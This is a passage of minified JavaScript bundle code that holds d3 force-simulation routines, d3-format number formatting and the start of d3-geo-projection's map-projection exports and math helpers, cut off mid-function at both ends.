Pr=ye-Tt.x-Tt.vx,ct=ae-Tt.y-Tt.vy,Vt=Pr*Pr+ct*ct;Vt<er*er&&(Pr===0&&(Pr=o(),Vt+=Pr*Pr),ct===0&&(ct=o(),Vt+=ct*ct),Vt=(er-(Vt=Math.sqrt(Vt)))/Vt*ut,Ee.vx+=(Pr*=Vt)*(er=(Gt*=Gt)/(Me+Gt)),Ee.vy+=(ct*=Vt)*er,Tt.vx-=Pr*(er=1-er),Tt.vy-=ct*er)}return}return pt>ye+er||_t<ye-er||St>ae+er||Ft<ae-er}}function Ot(Le){if(Le.data)return Le.r=lt[Le.data.index];for(var Pe=Le.r=0;Pe<4;++Pe)Le[Pe]&&Le[Pe].r>Le.r&&(Le.r=Le[Pe].r)}function Ge(){if(st){var Le,Pe=st.length,De;for(lt=new Array(Pe),Le=0;Le<Pe;++Le)De=st[Le],lt[De.index]=+Ke(De,Le,st)}}return bt.initialize=function(Le){st=Le,Ge()},bt.iterations=function(Le){return arguments.length?(yt=+Le,bt):yt},bt.strength=function(Le){return arguments.length?(ut=+Le,bt):ut},bt.radius=function(Le){return arguments.length?(Ke=typeof Le=="function"?Le:P(+Le),Ge(),bt):Ke},bt}var x=e(15140);function I(Ke){return Ke.index}function k(Ke,st){var lt=Ke.get(st);if(!lt)throw new Error("missing: "+st);return lt}function B(Ke){var st=I,lt=De,ut,yt=P(30),bt,Ot,Ge,Le,Pe=1;Ke==null&&(Ke=[]);function De(Me){return 1/Math.min(Ge[Me.source.index],Ge[Me.target.index])}function Ee(Me){for(var Ie=0,Qe=Ke.length;Ie<Pe;++Ie)for(var et=0,pt,St,_t,Ft,Tt,Gt,er;et<Qe;++et)pt=Ke[et],St=pt.source,_t=pt.target,Ft=_t.x+_t.vx-St.x-St.vx||o(),Tt=_t.y+_t.vy-St.y-St.vy||o(),Gt=Math.sqrt(Ft*Ft+Tt*Tt),Gt=(Gt-bt[et])/Gt*Me*ut[et],Ft*=Gt,Tt*=Gt,_t.vx-=Ft*(er=Le[et]),_t.vy-=Tt*er,St.vx+=Ft*(er=1-er),St.vy+=Tt*er}function ye(){if(Ot){var Me,Ie=Ot.length,Qe=Ke.length,et=(0,x.UI)(Ot,st),pt;for(Me=0,Ge=new Array(Ie);Me<Qe;++Me)pt=Ke[Me],pt.index=Me,typeof pt.source!="object"&&(pt.source=k(et,pt.source)),typeof pt.target!="object"&&(pt.target=k(et,pt.target)),Ge[pt.source.index]=(Ge[pt.source.index]||0)+1,Ge[pt.target.index]=(Ge[pt.target.index]||0)+1;for(Me=0,Le=new Array(Qe);Me<Qe;++Me)pt=Ke[Me],Le[Me]=Ge[pt.source.index]/(Ge[pt.source.index]+Ge[pt.target.index]);ut=new Array(Qe),ae(),bt=new Array(Qe),de()}}function ae(){if(Ot)for(var Me=0,Ie=Ke.length;Me<Ie;++Me)ut[Me]=+lt(Ke[Me],Me,Ke)}function de(){if(Ot)for(var Me=0,Ie=Ke.length;Me<Ie;++Me)bt[Me]=+yt(Ke[Me],Me,Ke)}return Ee.initialize=function(Me){Ot=Me,ye()},Ee.links=function(Me){return arguments.length?(Ke=Me,ye(),Ee):Ke},Ee.id=function(Me){return arguments.length?(st=Me,Ee):st},Ee.iterations=function(Me){return arguments.length?(Pe=+Me,Ee):Pe},Ee.strength=function(Me){return arguments.length?(lt=typeof Me=="function"?Me:P(+Me),ae(),Ee):lt},Ee.distance=function(Me){return arguments.length?(yt=typeof Me=="function"?Me:P(+Me),de(),Ee):yt},Ee}var _={value:function(){}};function F(){for(var Ke=0,st=arguments.length,lt={},ut;Ke<st;++Ke){if(!(ut=arguments[Ke]+"")||ut in lt||/[\s.]/.test(ut))throw new Error("illegal type: "+ut);lt[ut]=[]}return new O(lt)}function O(Ke){this._=Ke}function z(Ke,st){return Ke.trim().split(/^|\s+/).map(function(lt){var ut="",yt=lt.indexOf(".");if(yt>=0&&(ut=lt.slice(yt+1),lt=lt.slice(0,yt)),lt&&!st.hasOwnProperty(lt))throw new Error("unknown type: "+lt);return{type:lt,name:ut}})}O.prototype=F.prototype={constructor:O,on:function(Ke,st){var lt=this._,ut=z(Ke+"",lt),yt,bt=-1,Ot=ut.length;if(arguments.length<2){for(;++bt<Ot;)if((yt=(Ke=ut[bt]).type)&&(yt=N(lt[yt],Ke.name)))return yt;return}if(st!=null&&typeof st!="function")throw new Error("invalid callback: "+st);for(;++bt<Ot;)if(yt=(Ke=ut[bt]).type)lt[yt]=G(lt[yt],Ke.name,st);else if(st==null)for(yt in lt)lt[yt]=G(lt[yt],Ke.name,null);return this},copy:function(){var Ke={},st=this._;for(var lt in st)Ke[lt]=st[lt].slice();return new O(Ke)},call:function(Ke,st){if((yt=arguments.length-2)>0)for(var lt=new Array(yt),ut=0,yt,bt;ut<yt;++ut)lt[ut]=arguments[ut+2];if(!this._.hasOwnProperty(Ke))throw new Error("unknown type: "+Ke);for(bt=this._[Ke],ut=0,yt=bt.length;ut<yt;++ut)bt[ut].value.apply(st,lt)},apply:function(Ke,st,lt){if(!this._.hasOwnProperty(Ke))throw new Error("unknown type: "+Ke);for(var ut=this._[Ke],yt=0,bt=ut.length;yt<bt;++yt)ut[yt].value.apply(st,lt)}};function N(Ke,st){for(var lt=0,ut=Ke.length,yt;lt<ut;++lt)if((yt=Ke[lt]).name===st)return yt.value}function G(Ke,st,lt){for(var ut=0,yt=Ke.length;ut<yt;++ut)if(Ke[ut].name===st){Ke[ut]=_,Ke=Ke.slice(0,ut).concat(Ke.slice(ut+1));break}return lt!=null&&Ke.push({name:st,value:lt}),Ke}var J=F,q=0,ne=0,fe=0,X=1e3,W,V,Y=0,Q=0,ie=0,j=typeof performance=="object"&&performance.now?performance:Date,K=typeof window=="object"&&window.requestAnimationFrame?window.requestAnimationFrame.bind(window):function(Ke){setTimeout(Ke,17)};function oe(){return Q||(K(re),Q=j.now()+ie)}function re(){Q=0}function le(){this._call=this._time=this._next=null}le.prototype=pe.prototype={constructor:le,restart:function(Ke,st,lt){if(typeof Ke!="function")throw new TypeError("callback is not a function");lt=(lt==null?oe():+lt)+(st==null?0:+st),!this._next&&V!==this&&(V?V._next=this:W=this,V=this),this._call=Ke,this._time=lt,be()},stop:function(){this._call&&(this._call=null,this._time=1/0,be())}};function pe(Ke,st,lt){var ut=new le;return ut.restart(Ke,st,lt),ut}function we(){oe(),++q;for(var Ke=W,st;Ke;)(st=Q-Ke._time)>=0&&Ke._call.call(null,st),Ke=Ke._next;--q}function xe(){Q=(Y=j.now())+ie,q=ne=0;try{we()}finally{q=0,_e(),Q=0}}function ke(){var Ke=j.now(),st=Ke-Y;st>X&&(ie-=st,Y=Ke)}function _e(){for(var Ke,st=W,lt,ut=1/0;st;)st._call?(ut>st._time&&(ut=st._time),Ke=st,st=st._next):(lt=st._next,st._next=null,st=Ke?Ke._next=lt:W=lt);V=Ke,be(ut)}function be(Ke){if(!q){ne&&(ne=clearTimeout(ne));var st=Ke-Q;st>24?(Ke<1/0&&(ne=setTimeout(xe,Ke-j.now()-ie)),fe&&(fe=clearInterval(fe))):(fe||(Y=j.now(),fe=setInterval(ke,X)),q=1,K(xe))}}function ge(Ke){return Ke.x}function Te(Ke){return Ke.y}var Fe=10,Oe=Math.PI*(3-Math.sqrt(5));function Ce(Ke){var st,lt=1,ut=.001,yt=1-Math.pow(ut,1/300),bt=0,Ot=.6,Ge=(0,x.UI)(),Le=pe(De),Pe=J("tick","end");Ke==null&&(Ke=[]);function De(){Ee(),Pe.call("tick",st),lt<ut&&(Le.stop(),Pe.call("end",st))}function Ee(de){var Me,Ie=Ke.length,Qe;de===void 0&&(de=1);for(var et=0;et<de;++et)for(lt+=(bt-lt)*yt,Ge.each(function(pt){pt(lt)}),Me=0;Me<Ie;++Me)Qe=Ke[Me],Qe.fx==null?Qe.x+=Qe.vx*=Ot:(Qe.x=Qe.fx,Qe.vx=0),Qe.fy==null?Qe.y+=Qe.vy*=Ot:(Qe.y=Qe.fy,Qe.vy=0);return st}function ye(){for(var de=0,Me=Ke.length,Ie;de<Me;++de){if(Ie=Ke[de],Ie.index=de,Ie.fx!=null&&(Ie.x=Ie.fx),Ie.fy!=null&&(Ie.y=Ie.fy),isNaN(Ie.x)||isNaN(Ie.y)){var Qe=Fe*Math.sqrt(de),et=de*Oe;Ie.x=Qe*Math.cos(et),Ie.y=Qe*Math.sin(et)}(isNaN(Ie.vx)||isNaN(Ie.vy))&&(Ie.vx=Ie.vy=0)}}function ae(de){return de.initialize&&de.initialize(Ke),de}return ye(),st={tick:Ee,restart:function(){return Le.restart(De),st},stop:function(){return Le.stop(),st},nodes:function(de){return arguments.length?(Ke=de,ye(),Ge.each(ae),st):Ke},alpha:function(de){return arguments.length?(lt=+de,st):lt},alphaMin:function(de){return arguments.length?(ut=+de,st):ut},alphaDecay:function(de){return arguments.length?(yt=+de,st):+yt},alphaTarget:function(de){return arguments.length?(bt=+de,st):bt},velocityDecay:function(de){return arguments.length?(Ot=1-de,st):1-Ot},force:function(de,Me){return arguments.length>1?(Me==null?Ge.remove(de):Ge.set(de,ae(Me)),st):Ge.get(de)},find:function(de,Me,Ie){var Qe=0,et=Ke.length,pt,St,_t,Ft,Tt;for(Ie==null?Ie=1/0:Ie*=Ie,Qe=0;Qe<et;++Qe)Ft=Ke[Qe],pt=de-Ft.x,St=Me-Ft.y,_t=pt*pt+St*St,_t<Ie&&(Tt=Ft,Ie=_t);return Tt},on:function(de,Me){return arguments.length>1?(Pe.on(de,Me),st):Pe.on(de)}}}function Be(){var Ke,st,lt,ut=P(-30),yt,bt=1,Ot=1/0,Ge=.81;function Le(ye){var ae,de=Ke.length,Me=w(Ke,ge,Te).visitAfter(De);for(lt=ye,ae=0;ae<de;++ae)st=Ke[ae],Me.visit(Ee)}function Pe(){if(Ke){var ye,ae=Ke.length,de;for(yt=new Array(ae),ye=0;ye<ae;++ye)de=Ke[ye],yt[de.index]=+ut(de,ye,Ke)}}function De(ye){var ae=0,de,Me,Ie=0,Qe,et,pt;if(ye.length){for(Qe=et=pt=0;pt<4;++pt)(de=ye[pt])&&(Me=Math.abs(de.value))&&(ae+=de.value,Ie+=Me,Qe+=Me*de.x,et+=Me*de.y);ye.x=Qe/Ie,ye.y=et/Ie}else{de=ye,de.x=de.data.x,de.y=de.data.y;do ae+=yt[de.data.index];while(de=de.next)}ye.value=ae}function Ee(ye,ae,de,Me){if(!ye.value)return!0;var Ie=ye.x-st.x,Qe=ye.y-st.y,et=Me-ae,pt=Ie*Ie+Qe*Qe;if(et*et/Ge<pt)return pt<Ot&&(Ie===0&&(Ie=o(),pt+=Ie*Ie),Qe===0&&(Qe=o(),pt+=Qe*Qe),pt<bt&&(pt=Math.sqrt(bt*pt)),st.vx+=Ie*ye.value*lt/pt,st.vy+=Qe*ye.value*lt/pt),!0;if(ye.length||pt>=Ot)return;(ye.data!==st||ye.next)&&(Ie===0&&(Ie=o(),pt+=Ie*Ie),Qe===0&&(Qe=o(),pt+=Qe*Qe),pt<bt&&(pt=Math.sqrt(bt*pt)));do ye.data!==st&&(et=yt[ye.data.index]*lt/pt,st.vx+=Ie*et,st.vy+=Qe*et);while(ye=ye.next)}return Le.initialize=function(ye){Ke=ye,Pe()},Le.strength=function(ye){return arguments.length?(ut=typeof ye=="function"?ye:P(+ye),Pe(),Le):ut},Le.distanceMin=function(ye){return arguments.length?(bt=ye*ye,Le):Math.sqrt(bt)},Le.distanceMax=function(ye){return arguments.length?(Ot=ye*ye,Le):Math.sqrt(Ot)},Le.theta=function(ye){return arguments.length?(Ge=ye*ye,Le):Math.sqrt(Ge)},Le}function $e(Ke,st,lt){var ut,yt=P(.1),bt,Ot;typeof Ke!="function"&&(Ke=P(+Ke)),st==null&&(st=0),lt==null&&(lt=0);function Ge(Pe){for(var De=0,Ee=ut.length;De<Ee;++De){var ye=ut[De],ae=ye.x-st||1e-6,de=ye.y-lt||1e-6,Me=Math.sqrt(ae*ae+de*de),Ie=(Ot[De]-Me)*bt[De]*Pe/Me;ye.vx+=ae*Ie,ye.vy+=de*Ie}}function Le(){if(ut){var Pe,De=ut.length;for(bt=new Array(De),Ot=new Array(De),Pe=0;Pe<De;++Pe)Ot[Pe]=+Ke(ut[Pe],Pe,ut),bt[Pe]=isNaN(Ot[Pe])?0:+yt(ut[Pe],Pe,ut)}}return Ge.initialize=function(Pe){ut=Pe,Le()},Ge.strength=function(Pe){return arguments.length?(yt=typeof Pe=="function"?Pe:P(+Pe),Le(),Ge):yt},Ge.radius=function(Pe){return arguments.length?(Ke=typeof Pe=="function"?Pe:P(+Pe),Le(),Ge):Ke},Ge.x=function(Pe){return arguments.length?(st=+Pe,Ge):st},Ge.y=function(Pe){return arguments.length?(lt=+Pe,Ge):lt},Ge}function Xe(Ke){var st=P(.1),lt,ut,yt;typeof Ke!="function"&&(Ke=P(Ke==null?0:+Ke));function bt(Ge){for(var Le=0,Pe=lt.length,De;Le<Pe;++Le)De=lt[Le],De.vx+=(yt[Le]-De.x)*ut[Le]*Ge}function Ot(){if(lt){var Ge,Le=lt.length;for(ut=new Array(Le),yt=new Array(Le),Ge=0;Ge<Le;++Ge)ut[Ge]=isNaN(yt[Ge]=+Ke(lt[Ge],Ge,lt))?0:+st(lt[Ge],Ge,lt)}}return bt.initialize=function(Ge){lt=Ge,Ot()},bt.strength=function(Ge){return arguments.length?(st=typeof Ge=="function"?Ge:P(+Ge),Ot(),bt):st},bt.x=function(Ge){return arguments.length?(Ke=typeof Ge=="function"?Ge:P(+Ge),Ot(),bt):Ke},bt}function Ze(Ke){var st=P(.1),lt,ut,yt;typeof Ke!="function"&&(Ke=P(Ke==null?0:+Ke));function bt(Ge){for(var Le=0,Pe=lt.length,De;Le<Pe;++Le)De=lt[Le],De.vy+=(yt[Le]-De.y)*ut[Le]*Ge}function Ot(){if(lt){var Ge,Le=lt.length;for(ut=new Array(Le),yt=new Array(Le),Ge=0;Ge<Le;++Ge)ut[Ge]=isNaN(yt[Ge]=+Ke(lt[Ge],Ge,lt))?0:+st(lt[Ge],Ge,lt)}}return bt.initialize=function(Ge){lt=Ge,Ot()},bt.strength=function(Ge){return arguments.length?(st=typeof Ge=="function"?Ge:P(+Ge),Ot(),bt):st},bt.y=function(Ge){return arguments.length?(Ke=typeof Ge=="function"?Ge:P(+Ge),Ot(),bt):Ke},bt}},60721:function(te,Z,e){e.d(Z,{WU:function(){return i},FF:function(){return b}});function M(T){return Math.abs(T=Math.round(T))>=1e21?T.toLocaleString("en").replace(/,/g,""):T.toString(10)}function P(T,w){if((E=(T=w?T.toExponential(w-1):T.toExponential()).indexOf("e"))<0)return null;var E,p=T.slice(0,E);return[p.length>1?p[0]+p.slice(2):p,+T.slice(E+1)]}function o(T){return T=P(Math.abs(T)),T?T[1]:NaN}function L(T,w){return function(E,p){for(var A=E.length,m=[],n=0,C=T[0],x=0;A>0&&C>0&&(x+C+1>p&&(C=Math.max(1,p-x)),m.push(E.substring(A-=C,A+C)),!((x+=C+1)>p));)C=T[n=(n+1)%T.length];return m.reverse().join(w)}}function S(T){return function(w){return w.replace(/[0-9]/g,function(E){return T[+E]})}}var d=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function g(T){if(!(w=d.exec(T)))throw new Error("invalid format: "+T);var w;return new t({fill:w[1],align:w[2],sign:w[3],symbol:w[4],zero:w[5],width:w[6],comma:w[7],precision:w[8]&&w[8].slice(1),trim:w[9],type:w[10]})}g.prototype=t.prototype;function t(T){this.fill=T.fill===void 0?" ":T.fill+"",this.align=T.align===void 0?">":T.align+"",this.sign=T.sign===void 0?"-":T.sign+"",this.symbol=T.symbol===void 0?"":T.symbol+"",this.zero=!!T.zero,this.width=T.width===void 0?void 0:+T.width,this.comma=!!T.comma,this.precision=T.precision===void 0?void 0:+T.precision,this.trim=!!T.trim,this.type=T.type===void 0?"":T.type+""}t.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function r(T){e:for(var w=T.length,E=1,p=-1,A;E<w;++E)switch(T[E]){case".":p=A=E;break;case"0":p===0&&(p=E),A=E;break;default:if(!+T[E])break e;p>0&&(p=0);break}return p>0?T.slice(0,p)+T.slice(A+1):T}var f;function a(T,w){var E=P(T,w);if(!E)return T+"";var p=E[0],A=E[1],m=A-(f=Math.max(-8,Math.min(8,Math.floor(A/3)))*3)+1,n=p.length;return m===n?p:m>n?p+new Array(m-n+1).join("0"):m>0?p.slice(0,m)+"."+p.slice(m):"0."+new Array(1-m).join("0")+P(T,Math.max(0,w+m-1))[0]}function l(T,w){var E=P(T,w);if(!E)return T+"";var p=E[0],A=E[1];return A<0?"0."+new Array(-A).join("0")+p:p.length>A+1?p.slice(0,A+1)+"."+p.slice(A+1):p+new Array(A-p.length+2).join("0")}var u={"%":function(T,w){return(T*100).toFixed(w)},b:function(T){return Math.round(T).toString(2)},c:function(T){return T+""},d:M,e:function(T,w){return T.toExponential(w)},f:function(T,w){return T.toFixed(w)},g:function(T,w){return T.toPrecision(w)},o:function(T){return Math.round(T).toString(8)},p:function(T,w){return l(T*100,w)},r:l,s:a,X:function(T){return Math.round(T).toString(16).toUpperCase()},x:function(T){return Math.round(T).toString(16)}};function s(T){return T}var y=Array.prototype.map,c=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function b(T){var w=T.grouping===void 0||T.thousands===void 0?s:L(y.call(T.grouping,Number),T.thousands+""),E=T.currency===void 0?"":T.currency[0]+"",p=T.currency===void 0?"":T.currency[1]+"",A=T.decimal===void 0?".":T.decimal+"",m=T.numerals===void 0?s:S(y.call(T.numerals,String)),n=T.percent===void 0?"%":T.percent+"",C=T.minus===void 0?"-":T.minus+"",x=T.nan===void 0?"NaN":T.nan+"";function I(B){B=g(B);var _=B.fill,F=B.align,O=B.sign,z=B.symbol,N=B.zero,G=B.width,J=B.comma,q=B.precision,ne=B.trim,fe=B.type;fe==="n"?(J=!0,fe="g"):u[fe]||(q===void 0&&(q=12),ne=!0,fe="g"),(N||_==="0"&&F==="=")&&(N=!0,_="0",F="=");var X=z==="$"?E:z==="#"&&/[boxX]/.test(fe)?"0"+fe.toLowerCase():"",W=z==="$"?p:/[%p]/.test(fe)?n:"",V=u[fe],Y=/[defgprs%]/.test(fe);q=q===void 0?6:/[gprs]/.test(fe)?Math.max(1,Math.min(21,q)):Math.max(0,Math.min(20,q));function Q(ie){var j=X,K=W,oe,re,le;if(fe==="c")K=V(ie)+K,ie="";else{ie=+ie;var pe=ie<0||1/ie<0;if(ie=isNaN(ie)?x:V(Math.abs(ie),q),ne&&(ie=r(ie)),pe&&+ie==0&&O!=="+"&&(pe=!1),j=(pe?O==="("?O:C:O==="-"||O==="("?"":O)+j,K=(fe==="s"?c[8+f/3]:"")+K+(pe&&O==="("?")":""),Y){for(oe=-1,re=ie.length;++oe<re;)if(le=ie.charCodeAt(oe),48>le||le>57){K=(le===46?A+ie.slice(oe+1):ie.slice(oe))+K,ie=ie.slice(0,oe);break}}}J&&!N&&(ie=w(ie,1/0));var we=j.length+ie.length+K.length,xe=we<G?new Array(G-we+1).join(_):"";switch(J&&N&&(ie=w(xe+ie,xe.length?G-K.length:1/0),xe=""),F){case"<":ie=j+ie+K+xe;break;case"=":ie=j+xe+ie+K;break;case"^":ie=xe.slice(0,we=xe.length>>1)+j+ie+K+xe.slice(we);break;default:ie=xe+j+ie+K;break}return m(ie)}return Q.toString=function(){return B+""},Q}function k(B,_){var F=I((B=g(B),B.type="f",B)),O=Math.max(-8,Math.min(8,Math.floor(o(_)/3)))*3,z=Math.pow(10,-O),N=c[8+O/3];return function(G){return F(z*G)+N}}return{format:I,formatPrefix:k}}var h,i;v({decimal:".",thousands:",",grouping:[3],currency:["$",""],minus:"-"});function v(T){return h=b(T),i=h.format,h.formatPrefix,h}},65704:function(te,Z,e){e.r(Z),e.d(Z,{geoAiry:function(){return N},geoAiryRaw:function(){return z},geoAitoff:function(){return J},geoAitoffRaw:function(){return G},geoArmadillo:function(){return ne},geoArmadilloRaw:function(){return q},geoAugust:function(){return X},geoAugustRaw:function(){return fe},geoBaker:function(){return Q},geoBakerRaw:function(){return Y},geoBerghaus:function(){return K},geoBerghausRaw:function(){return j},geoBertin1953:function(){return _e},geoBertin1953Raw:function(){return ke},geoBoggs:function(){return $e},geoBoggsRaw:function(){return Be},geoBonne:function(){return lt},geoBonneRaw:function(){return st},geoBottomley:function(){return yt},geoBottomleyRaw:function(){return ut},geoBromley:function(){return Ot},geoBromleyRaw:function(){return bt},geoChamberlin:function(){return Me},geoChamberlinAfrica:function(){return de},geoChamberlinRaw:function(){return ye},geoCollignon:function(){return Qe},geoCollignonRaw:function(){return Ie},geoCraig:function(){return pt},geoCraigRaw:function(){return et},geoCraster:function(){return Ft},geoCrasterRaw:function(){return _t},geoCylindricalEqualArea:function(){return Gt},geoCylindricalEqualAreaRaw:function(){return Tt},geoCylindricalStereographic:function(){return Pr},geoCylindricalStereographicRaw:function(){return er},geoEckert1:function(){return Vt},geoEckert1Raw:function(){return ct},geoEckert2:function(){return dr},geoEckert2Raw:function(){return Ut},geoEckert3:function(){return nt},geoEckert3Raw:function(){return sr},geoEckert4:function(){return vt},geoEckert4Raw:function(){return rt},geoEckert5:function(){return wt},geoEckert5Raw:function(){return gt},geoEckert6:function(){return Pt},geoEckert6Raw:function(){return mt},geoEisenlohr:function(){return Yt},geoEisenlohrRaw:function(){return Xt},geoFahey:function(){return Ue},geoFaheyRaw:function(){return yr},geoFoucaut:function(){return Et},geoFoucautRaw:function(){return Ne},geoFoucautSinusoidal:function(){return Nt},geoFoucautSinusoidalRaw:function(){return Lt},geoGilbert:function(){return or},geoGingery:function(){return Nr},geoGingeryRaw:function(){return ur},geoGinzburg4:function(){return vn},geoGinzburg4Raw:function(){return Cr},geoGinzburg5:function(){return Mn},geoGinzburg5Raw:function(){return Ur},geoGinzburg6:function(){return nr},geoGinzburg6Raw:function(){return Sn},geoGinzburg8:function(){return Dr},geoGinzburg8Raw:function(){return Sr},geoGinzburg9:function(){return Xr},geoGinzburg9Raw:function(){return Ir},geoGringorten:function(){return Hn},geoGringortenQuincuncial:function(){return df},geoGringortenRaw:function(){return tn},geoGuyou:function(){return un},geoGuyouRaw:function(){return mr},geoHammer:function(){return pe},geoHammerRaw:function(){return re},geoHammerRetroazimuthal:function(){return zn},geoHammerRetroazimuthalRaw:function(){return bn},geoHealpix:function(){return nn},geoHealpixRaw:function(){return $r},geoHill:function(){return br},geoHillRaw:function(){return Ar},geoHomolosine:function(){return Rn},geoHomolosineRaw:function(){return fn},geoHufnagel:function(){return ta},geoHufnagelRaw:function(){return Zn},geoHyperelliptical:function(){return Di},geoHyperellipticalRaw:function(){return oa},geoInterrupt:function(){return ji},geoInterruptedBoggs:function(){return Ga},geoInterruptedHomolosine:function(){return Rs},geoInterruptedMollweide:function(){return eo},geoInterruptedMollweideHemispheres:function(){return Ks},geoInterruptedQuarticAuthalic:function(){return Jl},geoInterruptedSinuMollweide:function(){return Js},geoInterruptedSinusoidal:function(){return Li},geoKavrayskiy7:function(){return Wi},geoKavrayskiy7Raw:function(){return so},geoLagrange:function(){return Ro},geoLagrangeRaw:function(){return ho},geoLarrivee:function(){return wu},geoLarriveeRaw:function(){return zi},geoLaskowski:function(){return Fi},geoLaskowskiRaw:function(){return Do},geoLittrow:function(){return Wo},geoLittrowRaw:function(){return Wl},geoLoximuthal:function(){return Yl},geoLoximuthalRaw:function(){return Io},geoMiller:function(){return Qu},geoMillerRaw:function(){return Zl},geoModifiedStereographic:function(){return ps},geoModifiedStereographicAlaska:function(){return rf},geoModifiedStereographicGs48:function(){return Tu},geoModifiedStereographicGs50:function(){return nf},geoModifiedStereographicLee:function(){return jl},geoModifiedStereographicMiller:function(){return af},geoModifiedStereographicRaw:function(){return Qs},geoMollweide:function(){return Fe},geoMollweideRaw:function(){return Te},geoMtFlatPolarParabolic:function(){return of},geoMtFlatPolarParabolicRaw:function(){return ml},geoMtFlatPolarQuartic:function(){return Au},geoMtFlatPolarQuarticRaw:function(){return Yo},geoMtFlatPolarSinusoidal:function(){return sf},geoMtFlatPolarSinusoidalRaw:function(){return Kl},geoNaturalEarth:function(){return vo.Z},geoNaturalEarth2:function(){return $s},geoNaturalEarth2Raw:function(){return ys},geoNaturalEarthRaw:function(){return vo.K},geoNellHammer:function(){return ko},geoNellHammerRaw:function(){return Is},geoNicolosi:function(){return rs},geoNicolosiRaw:function(){return ks},geoPatterson:function(){return lf},geoPattersonRaw:function(){return bl},geoPeirceQuincuncial:function(){return Lu},geoPierceQuincuncial:function(){return Lu},geoPolyconic:function(){return uf},geoPolyconicRaw:function(){return $l},geoPolyhedral:function(){return ri},geoPolyhedralButterfly:function(){return Xo},geoPolyhedralCollignon:function(){return as},geoPolyhedralWaterman:function(){return is},geoProject:function(){return hf},geoQuantize:function(){return Pu},geoQuincuncial:function(){return Sl},geoRectangularPolyconic:function(){return os},geoRectangularPolyconicRaw:function(){return au},geoRobinson:function(){return iu},geoRobinsonRaw:function(){return zo},geoSatellite:function(){return El},geoSatelliteRaw:function(){return bs},geoSinuMollweide:function(){return On},geoSinuMollweideRaw:function(){return Ln},geoSinusoidal:function(){return Ke},geoSinusoidalRaw:function(){return Ze},geoStitch:function(){return As},geoTimes:function(){return lo},geoTimesRaw:function(){return no},geoTwoPointAzimuthal:function(){return Rl},geoTwoPointAzimuthalRaw:function(){return Iu},geoTwoPointAzimuthalUsa:function(){return Hs},geoTwoPointEquidistant:function(){return uu},geoTwoPointEquidistantRaw:function(){return ku},geoTwoPointEquidistantUsa:function(){return Mo},geoVanDerGrinten:function(){return ol},geoVanDerGrinten2:function(){return gf},geoVanDerGrinten2Raw:function(){return $o},geoVanDerGrinten3:function(){return Dl},geoVanDerGrinten3Raw:function(){return fu},geoVanDerGrinten4:function(){return _u},geoVanDerGrinten4Raw:function(){return Yi},geoVanDerGrintenRaw:function(){return us},geoWagner:function(){return ll},geoWagner4:function(){return hu},geoWagner4Raw:function(){return cu},geoWagner6:function(){return kl},geoWagner6Raw:function(){return Ss},geoWagner7:function(){return fs},geoWagnerRaw:function(){return Fo},geoWiechel:function(){return Fu},geoWiechelRaw:function(){return ul},geoWinkel3:function(){return Ou},geoWinkel3Raw:function(){return fl}});var M=e(15002),P=Math.abs,o=Math.atan,L=Math.atan2,S=Math.cos,d=Math.exp,g=Math.floor,t=Math.log,r=Math.max,f=Math.min,a=Math.pow,l=Math.round,u=Math.sign||function(Ve){return Ve>0?1:Ve<0?-1:0},s=Math.sin,y=Math.tan,c=1e-6,b=1e-12,h=Math.PI,i=h/2,v=h/4,T=Math.SQRT1_2,w=I(2),E=I(h),p=h*2,A=180/h,m=h/180;function n(Ve){return Ve?Ve/Math.sin(Ve):1}function C(Ve){return Ve>1?i:Ve<-1?-i:Math.asin(Ve)}function x(Ve){return Ve>1?0:Ve<-1?h:Math.acos(Ve)}function I(Ve){return Ve>0?Math.sqrt(Ve):0}function k(Ve){return Ve=d(2*Ve),(Ve-1)/(Ve+1)}function B(Ve){return(d(Ve)-d(-Ve))/2}function _(Ve){return(d(Ve)+d(-Ve))/2}function F(Ve){return t(Ve+I(Ve*Ve+1))}function O(Ve){return t(Ve+I(Ve*Ve-1))}function z(Ve){var Je=y(Ve/2),ot=2*t(S(Ve/2))/(Je*Je);function ft(Ct,At){var Rt=S(Ct),ir=S(At),cr=s(At),Qt=ir*Rt,gr=-((1-Qt?t((1+Qt)/2)/(1-Qt):-.5)+ot/(1+Qt));return[gr*ir*s(Ct),gr*cr]}return ft.invert=function(Ct,At){var Rt=I(Ct*Ct+At*At),ir=-Ve/2,cr=50,Qt;if(!Rt)return[0,0];do{var gr=ir/2,Tr=S(gr),Br=s(gr),Wr=Br/Tr,cn=-t(P(Tr));ir-=Qt=(2/Wr*cn-ot*Wr-Rt)/(-cn/(Br*Br)+1-ot/(2*Tr*Tr))*(Tr<0?.7:1)}while(P(Qt)>c&&--cr>0);var dn=s(ir);return[L(Ct*dn,Rt*S(ir)),C(At*dn/Rt)]},ft}function N(){var Ve=i,Je=(0,M.r)(z),ot=Je(Ve);return ot.radius=function(ft){return arguments.length?Je(Ve=ft*m):Ve*A},ot.scale(179.976).clipAngle(147)}function G(Ve,Je){var ot=S(Je),ft=n(x(ot*S(Ve/=2)));return[2*ot*s(Ve)*ft,s(Je)*ft]}G.invert=function(Ve,Je){if(!(Ve*Ve+4*Je*Je>h*h+c)){var ot=Ve,ft=Je,Ct=25;do{var At=s(ot),Rt=s(ot/2),ir=S(ot/2),cr=s(ft),Qt=S(ft),gr=s(2*ft),Tr=cr*cr,Br=Qt*Qt,Wr=Rt*Rt,cn=1-Br*ir*ir,dn=cn?x(Qt*ir)*I(An=1/cn):An=0,An,ia=2*dn*Qt*Rt-Ve,ma=dn*cr-Je,wa=An*(Br*Wr+dn*Qt*ir*Tr),Ta=An*(.5*At*gr-dn*2*cr*Rt),Ma=An*.25*(gr*Rt-dn*cr*Br*At),ja=An*(Tr*ir+dn*Wr*Qt),yi=Ta*Ma-ja*wa;if(!yi)break;var ni=(ma*Ta-ia*ja)/yi,se=(ia*Ma-ma*wa)/yi;ot-=ni,ft-=se}while((P(ni)>c||P(se)>c)&&--Ct>0);return[ot,ft]}};function J(){return(0,M.Z)(G).scale(152.63)}function q(Ve){var Je=s(Ve),ot=S(Ve),ft=Ve>=0?1:-1,Ct=y(ft*Ve),At=(1+Je-ot)/2;function Rt(ir,cr){var 